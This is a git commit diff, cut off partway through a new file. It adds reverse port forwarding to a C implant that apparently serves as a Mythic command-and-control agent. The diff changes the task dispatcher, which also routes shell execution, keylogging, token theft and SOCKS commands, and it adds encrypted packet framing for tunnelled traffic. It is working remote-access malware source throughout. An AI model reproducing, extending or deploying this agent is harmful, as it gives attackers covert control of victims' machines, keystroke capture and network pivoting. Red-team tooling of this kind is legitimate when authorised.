RPFWD Implemented

This commit is contained in:
marcos.luna
2025-11-03 17:12:44 +01:00
parent 8f8a54de5c
commit c7b6bbc935
11 changed files with 1620 additions and 126 deletions
@@ -1,47 +1,107 @@
#include "cazalla.h"
#include "comandos.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"
#include "paquete.h"
/* Forward: handlers for the new commands */
static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea);
static void startRpfwdHandler(PAnalizador analizadorTarea);
static void stopRpfwdHandler(PAnalizador analizadorTarea);
BOOL handleGetTasking(PAnalizador obtenerTarea) {
_dbg("handleGetTasking() llamado");
_inf("========== handleGetTasking INICIO ==========");
_inf("Buffer disponible: %zu bytes", obtenerTarea->tamano);
if (obtenerTarea->tamano < 4) {
_err("ERROR: Buffer demasiado pequeño para leer número de tareas (size=%zu, need=4)", obtenerTarea->tamano);
return FALSE;
}
// Leer número de tareas (4 bytes)
UINT32 numeroTareas = getInt32(obtenerTarea);
_dbg("Número de tareas: %u", numeroTareas);
_inf("Número de tareas leído: %u, buffer restante después de leer numeroTareas: %zu bytes", numeroTareas, obtenerTarea->tamano);
if (numeroTareas) {
_dbg("Hay %d tareas", numeroTareas);
if (numeroTareas == 0) {
_inf("No hay tareas pendientes");
return TRUE;
}
if (obtenerTarea->tamano == 0 && numeroTareas > 0) {
_err("ERROR CRÍTICO: numeroTareas=%u pero buffer está vacío (0 bytes). Formato incorrecto!", numeroTareas);
return FALSE;
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
_dbg("Procesando tarea %u/%u, tamaño: %zu", i+1, numeroTareas, tamanoTarea);
_inf("========== PROCESANDO TAREA %u/%u ==========", i+1, numeroTareas);
_inf("Tarea %u: Buffer restante antes de leer tamaño: %zu bytes", i+1, obtenerTarea->tamano);
if (obtenerTarea->tamano < 4) {
_err("Tarea %u: Buffer insuficiente para leer tamaño (restante=%zu, need=4)", i+1, obtenerTarea->tamano);
break;
}
// Formato: [task_size (4)][command_code (1)][task_id + parameters...]
// task_size incluye el command_code + task_id + parameters
SIZE_T tamanoTarea = getInt32(obtenerTarea);
_inf("Tarea %u: Tamaño total leído: %zu bytes, buffer restante: %zu bytes", i+1, tamanoTarea, obtenerTarea->tamano);
if (tamanoTarea == 0 || tamanoTarea > 1000000) {
_err("Tarea %u: Tamaño inválido %zu (0x%zX), saltando tarea", i+1, tamanoTarea, tamanoTarea);
_err("Tarea %u: Posible desincronización del buffer, bytes restantes=%zu", i+1, obtenerTarea->tamano);
break; // No continue, sino break porque si el tamaño está mal, todas las siguientes también lo estarán
}
if (obtenerTarea->tamano < 1) {
_err("Tarea %u: Buffer insuficiente para leer command_code (restante=%zu, need=1)", i+1, obtenerTarea->tamano);
break;
}
// Leer el command_code (1 byte)
BYTE tarea = getByte(obtenerTarea);
_dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
_inf("COMMAND DEBUG: Received command 0x%02X, KEYLOG_START_CMD=0x%02X, KEYLOG_STOP_CMD=0x%02X",
tarea, KEYLOG_START_CMD, KEYLOG_STOP_CMD);
_inf("Tarea %u: Comando recibido: 0x%02X, buffer restante: %zu bytes", i+1, tarea, obtenerTarea->tamano);
// El tamaño restante es tamanoTarea - 1 (ya leímos el command_code)
tamanoTarea = tamanoTarea - 1;
_inf("Tarea %u: Tamaño restante después de command_code: %zu bytes", i+1, tamanoTarea);
// Debug: log specific command types
if (tarea == KEYLOG_START_CMD) {
_inf("=== KEYLOG_START_CMD (0x%02X) detected ===", tarea);
if (tarea == START_RPFWD_CMD) {
_inf(">>> START_RPFWD_CMD (0x%02X) detectado <<<", tarea);
} else if (tarea == STOP_RPFWD_CMD) {
_inf(">>> STOP_RPFWD_CMD (0x%02X) detectado <<<", tarea);
} else if (tarea == KEYLOG_START_CMD) {
_inf(">>> KEYLOG_START_CMD (0x%02X) detectado <<<", tarea);
} else if (tarea == KEYLOG_STOP_CMD) {
_inf("=== KEYLOG_STOP_CMD (0x%02X) detected ===", tarea);
} else if (tarea == 0x30) {
_inf("=== RAW 0x30 detected (should be KEYLOG_START) ===");
} else if (tarea == 0x31) {
_inf("=== RAW 0x31 detected (should be KEYLOG_STOP) ===");
_inf(">>> KEYLOG_STOP_CMD (0x%02X) detectado <<<", tarea);
}
// Leer el buffer de la tarea (task_id + parameters)
if (obtenerTarea->tamano < tamanoTarea) {
_err("Tarea %u: Buffer insuficiente para leer tarea completa (restante=%zu, need=%zu)",
i+1, obtenerTarea->tamano, tamanoTarea);
break;
}
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
if (!bufferTarea) {
_err("Tarea %u: ERROR: getBytes retornó NULL (tamaño esperado=%zu, buffer restante=%zu)",
i+1, tamanoTarea, obtenerTarea->tamano);
break;
}
_inf("Tarea %u: Buffer obtenido, tamaño=%zu bytes, buffer restante después: %zu bytes",
i+1, tamanoTarea, obtenerTarea->tamano);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (!analizadorTarea) {
_err("ERROR: nuevoAnalizador retornó NULL para tarea %u", i+1);
LocalFree(bufferTarea);
continue;
}
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
if (tarea == SHELL_CMD){
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
ejecutarConsola(analizadorTarea);
} else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
@@ -75,6 +135,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} else if (tarea == STOP_SOCKS_CMD) {
_dbg("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea);
} else if (tarea == START_RPFWD_CMD) {
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
startRpfwdHandler(analizadorTarea);
_inf("Tarea %u: startRpfwdHandler() retornó", i+1);
} else if (tarea == STOP_RPFWD_CMD) {
_dbg("Received STOP_RPFWD_CMD");
stopRpfwdHandler(analizadorTarea);
} else if (tarea == KEYLOG_START_CMD) {
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
StartKeylogger(analizadorTarea);
@@ -105,10 +173,17 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("===== WHOAMI_CMD COMPLETED =====");
} else {
_wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
// liberar analizador si no será usado por otro handler
if (analizadorTarea) liberarAnalizador(analizadorTarea);
if (bufferTarea) LocalFree(bufferTarea);
}
_inf("Tarea %u: Procesamiento completado, buffer restante final: %zu bytes", i+1, obtenerTarea->tamano);
}
_inf("========== handleGetTasking FIN ==========");
_inf("Buffer final restante: %zu bytes", obtenerTarea->tamano);
return TRUE;
}
@@ -137,10 +212,10 @@ BOOL commandDispatch(PAnalizador respuesta) {
}
BYTE tipoRespuesta = getByte(respuesta);
_dbg("Tipo de respuesta: 0x%02X", tipoRespuesta);
_inf("Tipo de respuesta: 0x%02X, buffer restante después de leer tipo: %zu bytes", tipoRespuesta, respuesta->tamano);
if (tipoRespuesta == GET_TASKING) {
_dbg("Llamando handleGetTasking()");
_inf("Llamando handleGetTasking() con buffer restante: %zu bytes", respuesta->tamano);
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
@@ -228,7 +303,8 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
// Leer el puerto
// SOCKS usa formato especial sin nbArg, lee puerto directamente
// Formato: UUID (36) + puerto (4)
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
_dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
@@ -301,3 +377,118 @@ static void stopSocksHandler(PAnalizador analizadorTarea) {
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
/* ============================
START_RPFWD_CMD handler
Expected params (in this order inside the task buffer):
- 36 bytes: UUID del task
- UINT32 LocalPort (optional). If absent or zero -> default 8080.
Behavior:
- call rpfwd_manager_init()
- call rpfwd_manager_start_listener(local_port)
- send response back to Mythic
============================ */
static void startRpfwdHandler(PAnalizador analizadorTarea) {
_dbg("startRpfwdHandler() enter");
_inf("===== PROCESSING START_RPFWD_CMD (0x62) =====");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
if (!taskUuid || uuidLen != 36) {
_err("startRpfwdHandler: Error leyendo UUID (len=%zu)", uuidLen);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
return;
}
// Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4) + param2 (4)...
UINT32 nbArg = getInt32(analizadorTarea);
_dbg("startRpfwdHandler: nbArg=%u", nbArg);
// Leer el puerto (primer parámetro)
UINT32 localPort = 0;
if (nbArg > 0) {
localPort = (UINT32)getInt32(analizadorTarea);
_dbg("startRpfwdHandler: leído puerto=%u", localPort);
}
_dbg("startRpfwdHandler: taskId=%.*s nbArg=%u port=%u", 36, taskUuid, nbArg, localPort);
if (localPort == 0) localPort = 8080; // Default RPFWD port
// initialize rpfwd manager (idempotent)
rpfwd_manager_init();
int rc = rpfwd_manager_start_listener((uint16_t)localPort);
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
if (rc == 0) {
_inf("rpfwd_manager_start_listener(%u) OK", localPort);
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward started on port %u\n", localPort);
PackageAddFormatPrintf(salida, FALSE, "Connections to %s:%u (agent) will be forwarded to remote host\n",
"0.0.0.0", localPort);
// Add Network Connection artifact
char artifact_buf[256];
snprintf(artifact_buf, sizeof(artifact_buf), "Reverse Port Forward listener started on port %u", localPort);
addArtifact(respuesta, "Network Connection", artifact_buf);
} else {
_err("rpfwd_manager_start_listener(%u) rc=%d", localPort, rc);
if (rc == 1) {
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u\n", localPort);
PackageAddFormatPrintf(salida, FALSE, "Error: Port may be in use or requires administrator privileges (WSAError=10013)\n");
PackageAddFormatPrintf(salida, FALSE, "Try using a non-privileged port (e.g., 8080, 4444, 5555)\n");
} else {
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u (rc=%d)\n", localPort, rc);
}
}
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
/* ============================
STOP_RPFWD_CMD handler
Expected params:
- 36 bytes: UUID del task
Behavior:
- call rpfwd_manager_stop_listener()
- send response back to Mythic
============================ */
static void stopRpfwdHandler(PAnalizador analizadorTarea) {
_dbg("stopRpfwdHandler() enter");
// Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
_dbg("stopRpfwdHandler: taskId=%.*s", 36, taskUuid);
int rc = rpfwd_manager_stop_listener();
_dbg("rpfwd_manager_stop_listener() rc=%d", rc);
// Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
addString(respuesta, taskUuid, FALSE); // Task UUID
// Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward stopped\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Enviar respuesta
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (analizadorTarea) liberarAnalizador(analizadorTarea);
}
@@ -13,6 +13,7 @@
#include "screenshot.h"
#include "keylog.h"
#include "tokens.h"
#include "rpfwd_manager.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
@@ -42,6 +43,10 @@
#define START_SOCKS_CMD 0x60
#define STOP_SOCKS_CMD 0x61
/* Reverse Port Forward commands */
#define START_RPFWD_CMD 0x62
#define STOP_RPFWD_CMD 0x63
/* Token commands */
#define LIST_TOKENS_CMD 0x32
#define STEAL_TOKEN_CMD 0x33
@@ -51,6 +56,8 @@
/* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5
/* Extension marker to carry RPFWD array in binary messages */
#define RPFWD_BLOCK_MARKER 0xF2
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
@@ -2,6 +2,7 @@
#include "cazalla.h"
#include "paquete.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
@@ -49,6 +50,26 @@ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned cha
_dbg("flush_socks_cb completed");
}
/* Callback C para volcar mensajes RPFWD al paquete */
static void flush_rpfwd_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port, void *ctx) {
PPaquete pkt = (PPaquete)ctx;
_dbg("flush_rpfwd_cb: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
addInt32(pkt, server_id);
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
if (data_len && data) {
char *b64 = b64Codificado(data, (SIZE_T)data_len);
SIZE_T b64len = b64 ? strlen(b64) : 0;
addInt32(pkt, (UINT32)b64len);
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
if (b64) LocalFree(b64);
} else {
addInt32(pkt, 0);
}
// Add port (optional, but needed if multiple RPFWD ports are supported)
addInt32(pkt, port);
_dbg("flush_rpfwd_cb completed");
}
/* === Nueva función: inserta tráfico SOCKS pendiente === */
static VOID flushSocksTraffic(PPaquete paquete) {
_dbg("flushSocksTraffic()");
@@ -74,6 +95,31 @@ static VOID flushSocksTraffic(PPaquete paquete) {
_dbg("flushSocksTraffic() completed");
}
/* === Nueva función: inserta tráfico RPFWD pendiente === */
static VOID flushRpfwdTraffic(PPaquete paquete) {
_dbg("flushRpfwdTraffic()");
/* Emit marker and number of RPFWD messages if there are any; we buffer to temp first */
PPaquete temp = nuevoPaquete(0, FALSE);
if (!temp) {
_err("nuevoPaquete temp failed");
return;
}
_dbg("temp paquete created");
rpfwd_manager_flush_outgoing(flush_rpfwd_cb, (void*)temp);
_dbg("rpfwd_manager_flush_outgoing done, temp->length=%zu", temp->length);
if (temp->length > 0) {
_dbg("Adding RPFWD block marker");
/* Frame: 0xF2 | [Int32 total_len] | [temp bytes] */
addByte(paquete, (BYTE)RPFWD_BLOCK_MARKER);
addInt32(paquete, (UINT32)temp->length);
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
}
liberarPaquete(temp);
_dbg("flushRpfwdTraffic() completed");
}
/* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) {
_dbg("mandarPaquete() len=%zu", paquete->length);
@@ -85,6 +131,14 @@ PAnalizador mandarPaquete(PPaquete paquete) {
} else {
_dbg("SOCKS inactivo, saltando flushSocksTraffic()");
}
// Solo añadir tráfico RPFWD si está activo
if (rpfwd_active) {
_dbg("RPFWD activo, flushRpfwdTraffic()");
flushRpfwdTraffic(paquete);
} else {
_dbg("RPFWD inactivo, saltando flushRpfwdTraffic()");
}
// === Handle encryption according to Mythic format ===
// Format with encryption: Base64(PayloadUUID + AES256(rest_of_data))
@@ -120,13 +174,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
_dbg("Data offset (after UUID): %zu", dataOffset);
_dbg("Datos a cifrar: %zu bytes", dataLength);
// Log raw packet structure
_dbg("Raw packet structure (first 60 bytes, hex): ");
for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) {
_dbg(" %02x ", ((PBYTE)paquete->buffer)[i]);
if ((i + 1) % 16 == 0) _dbg("\n");
}
// Create a temporary package with only the data part (without UUID)
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!dataPackage) {
@@ -144,17 +191,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength);
dataPackage->length = dataLength;
// Log data to encrypt
_dbg("=== DATA TO ENCRYPT (without UUID) ===");
_dbg("Data length: %zu bytes", dataPackage->length);
_dbg("Data preview (hex, first 64 bytes): ");
for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) {
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
_dbg("First byte of data (should be command byte): 0x%02X",
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
// Encrypt only the data part (without UUID)
_inf("=== STARTING ENCRYPTION ===");
_dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
@@ -167,15 +203,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
}
_inf("=== ENCRYPTION COMPLETE ===");
_dbg("Datos cifrados: %zu bytes (original: %zu bytes)",
dataPackage->length, dataLength);
// Log encrypted data preview
_dbg("Encrypted data preview (hex, first 80 bytes): ");
for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) {
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
// Concatenate UUID + encrypted data
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
@@ -187,38 +214,12 @@ PAnalizador mandarPaquete(PPaquete paquete) {
return NULL;
}
_dbg("=== CONCATENATING UUID + ENCRYPTED DATA ===");
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
_dbg("Copied UUID (%zu bytes) to final buffer", UUID_LENGTH);
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
_dbg("Copied encrypted data (%zu bytes) to final buffer at offset %zu",
dataPackage->length, UUID_LENGTH);
datosAEnviar = finalBuffer;
tamanoAEnviar = finalSize;
_dbg("=== FINAL BUFFER READY ===");
_dbg("Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)",
finalSize, UUID_LENGTH, dataPackage->length);
// Log first bytes of final buffer (show UUID + start of encrypted data)
_dbg("Final buffer preview (hex, first 100 bytes): ");
for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) {
_dbg(" %02x ", finalBuffer[i]);
if (i == UUID_LENGTH - 1) {
_dbg("| "); // Mark where UUID ends
}
if ((i + 1) % 32 == 0) _dbg("\n");
}
// Log final buffer as readable string (first part should be UUID)
char finalPreview[101] = {0};
size_t previewLen = finalSize > 100 ? 100 : finalSize;
memcpy(finalPreview, finalBuffer, previewLen);
_dbg("Final buffer preview (ASCII, first 100 bytes): %.*s",
(int)previewLen, finalPreview);
_dbg("First 36 chars should be UUID: %.*s", 36, finalPreview);
// Cleanup temporary package
LocalFree(dataPackage->buffer);
LocalFree(dataPackage);
@@ -229,16 +230,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
}
// Codificar en base64
_dbg("=== BASE64 ENCODING ===");
_dbg("Binary size to encode: %zu bytes", tamanoAEnviar);
// Log binary data before base64
_dbg("Binary data preview (hex, first 80 bytes): ");
for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) {
_dbg(" %02x ", datosAEnviar[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
@@ -249,25 +240,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
}
return NULL;
}
_dbg("Base64 encoding complete");
_dbg("Tamaño después de base64: %zu bytes (expected: ~%zu bytes)",
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
// Log base64 preview with more detail
if (paqueteParaMandar && tamanoDelPaquete > 0) {
size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete;
char preview[101] = {0};
memcpy(preview, paqueteParaMandar, previewLen);
_dbg("Base64 preview (first %zu chars): %s", previewLen, preview);
if (tamanoDelPaquete > 100) {
_dbg("... (total %zu chars)", tamanoDelPaquete);
}
// Show where UUID should be in base64 (first 48 chars should be UUID base64)
_dbg("First 48 chars of base64 (should contain UUID): %.*s",
48, paqueteParaMandar);
}
_inf("=== READY TO SEND ===");
_dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
@@ -477,6 +449,70 @@ PAnalizador mandarPaquete(PPaquete paquete) {
if (!found) {
_dbg("No se encontró bloque SOCKS");
}
// Buscar bloque RPFWD (similar a SOCKS pero con puerto)
cursor = len - 5;
found = FALSE;
_dbg("Buscando bloque RPFWD (marker 0xF2) en %zu bytes decodificados", len);
while (cursor > 0 && cursor < len - 4) {
if (buf[cursor] == (BYTE)RPFWD_BLOCK_MARKER) {
_dbg("¡Marcador 0xF2 (RPFWD) encontrado en offset %zu!", cursor);
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
_dbg("Bloque RPFWD: ext_len=%u", ext_len);
if (cursor + 5 + ext_len > len) {
_err("bloque RPFWD truncado");
break;
}
SIZE_T ecur = cursor + 5;
SIZE_T eend = cursor + 5 + ext_len;
while (ecur + 13 <= eend) { // 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
BYTE exitf = buf[ecur+4];
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
UINT32 port = (buf[ecur+9] << 24) | (buf[ecur+10] << 16) | (buf[ecur+11] << 8) | buf[ecur+12];
ecur += 13;
if (ecur + b64len > eend) break;
unsigned char *raw = NULL;
size_t raw_len = 0;
char *b64str_rpfwd = NULL;
if (b64len > 0) {
b64str_rpfwd = (char*)LocalAlloc(LPTR, b64len + 1);
if (b64str_rpfwd) {
memcpy(b64str_rpfwd, buf + ecur, b64len);
b64str_rpfwd[b64len] = '\0';
_dbg("Decodificando base64 RPFWD: %s", b64str_rpfwd);
base64_decode(b64str_rpfwd, &raw, &raw_len);
_dbg("Base64 RPFWD decodificado: %zu bytes", raw_len);
LocalFree(b64str_rpfwd);
}
}
_dbg("Procesando RPFWD incoming: sid=%u exit=%u len=%zu port=%u", sid, exitf, raw_len, port);
rpfwd_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len, port);
if (raw) LocalFree(raw);
ecur += b64len;
}
// Remover bloque RPFWD del analizador
respuesta->tamano = cursor;
_dbg("Bloque RPFWD procesado, tamaño ajustado a %zu", cursor);
found = TRUE;
break;
}
cursor--;
}
if (!found) {
_dbg("No se encontró bloque RPFWD");
}
}
} else {
_err("fallo al decodificar base64");
@@ -0,0 +1,757 @@
#include "rpfwd_manager.h"
#include "debug.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include "utils.h"
#include <stdint.h>
#include <errno.h>
#ifdef _WIN32
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
typedef SOCKET sock_t;
#define CLOSESOCK(s) closesocket(s)
#else
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
typedef int sock_t;
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define CLOSESOCK(s) close(s)
#endif
volatile int rpfwd_active = 0; // Flag global de estado RPFWD
typedef struct rpfwd_conn_entry {
uint32_t server_id;
sock_t sock;
uint32_t port; // Local port this connection is on
struct rpfwd_conn_entry *next;
int closed;
} rpfwd_conn_entry_t;
static rpfwd_conn_entry_t *conn_list = NULL;
#ifdef _WIN32
static CRITICAL_SECTION conn_lock;
#else
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
typedef struct outgoing_node {
rpfwd_msg_t msg;
struct outgoing_node *next;
} outgoing_node_t;
static outgoing_node_t *out_head = NULL;
static outgoing_node_t *out_tail = NULL;
#ifdef _WIN32
static CRITICAL_SECTION out_lock;
#else
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
static sock_t listener_sock = INVALID_SOCKET;
static uint16_t listener_port = 0;
#ifdef _WIN32
static HANDLE listener_thread_handle = NULL;
#else
static pthread_t listener_thread_id = 0;
#endif
/* === Inicialización / limpieza === */
void rpfwd_manager_init(void) {
_inf("rpfwd_manager_init: INICIO");
static int initialized = 0;
if (initialized) {
_inf("rpfwd_manager_init: Ya inicializado, retornando");
return;
}
initialized = 1;
_inf("rpfwd_manager_init: Inicializando por primera vez...");
#ifdef _WIN32
_inf("rpfwd_manager_init: Inicializando CriticalSections...");
InitializeCriticalSection(&conn_lock);
InitializeCriticalSection(&out_lock);
_inf("rpfwd_manager_init: Inicializando Winsock...");
WSADATA wsa;
int wsa_ret = WSAStartup(MAKEWORD(2,2), &wsa);
if (wsa_ret != 0) {
_err("rpfwd_manager_init: WSAStartup falló con error %d", wsa_ret);
} else {
_inf("rpfwd_manager_init: WSAStartup OK");
}
#else
pthread_mutex_init(&conn_lock, NULL);
pthread_mutex_init(&out_lock, NULL);
#endif
_inf("rpfwd_manager_init: COMPLETADO");
}
void rpfwd_manager_cleanup(void) {
_dbg("rpfwd_manager_cleanup()");
rpfwd_manager_stop_listener();
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
rpfwd_conn_entry_t *n = cur->next;
free(cur);
cur = n;
}
conn_list = NULL;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
DeleteCriticalSection(&conn_lock);
DeleteCriticalSection(&out_lock);
WSACleanup();
#else
pthread_mutex_unlock(&conn_lock);
pthread_mutex_destroy(&conn_lock);
pthread_mutex_destroy(&out_lock);
#endif
rpfwd_active = 0;
}
/* === Gestión de conexiones === */
static rpfwd_conn_entry_t* find_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list;
while (cur) {
if (cur->server_id == server_id) {
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return cur;
}
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return NULL;
}
static rpfwd_conn_entry_t* create_entry(uint32_t server_id, sock_t s, uint32_t port) {
rpfwd_conn_entry_t *e = malloc(sizeof(rpfwd_conn_entry_t));
if (!e) return NULL;
e->server_id = server_id;
e->sock = s;
e->port = port;
e->next = NULL;
e->closed = 0;
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
e->next = conn_list;
conn_list = e;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
_dbg("create_entry sid=%u sock=%d port=%u", server_id, (int)s, port);
return e;
}
static void remove_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list, *prev = NULL;
while (cur) {
if (cur->server_id == server_id) {
if (prev) prev->next = cur->next;
else conn_list = cur->next;
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
_dbg("remove_entry sid=%u", server_id);
free(cur);
break;
}
prev = cur;
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
}
/* === Cola de salida === */
static void enqueue_outgoing(rpfwd_msg_t *m) {
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu port=%u", m->server_id, m->exit_flag, m->data_len, m->port);
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
memset(n,0,sizeof(*n));
n->msg.server_id = m->server_id;
n->msg.exit_flag = m->exit_flag;
n->msg.data_len = m->data_len;
n->msg.port = m->port;
if (m->data_len) {
n->msg.data = malloc(m->data_len);
memcpy(n->msg.data, m->data, m->data_len);
} else n->msg.data = NULL;
n->next = NULL;
#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
if (!out_tail) out_head = out_tail = n;
else { out_tail->next = n; out_tail = n; }
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
_dbg("Mensaje RPFWD encolado OK (sid=%u)", m->server_id);
}
/* === Volcado de cola de salida === */
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx) {
_dbg("rpfwd_flush_outgoing: iniciando");
if (!cb) {
_err("ERROR: callback es NULL");
return;
}
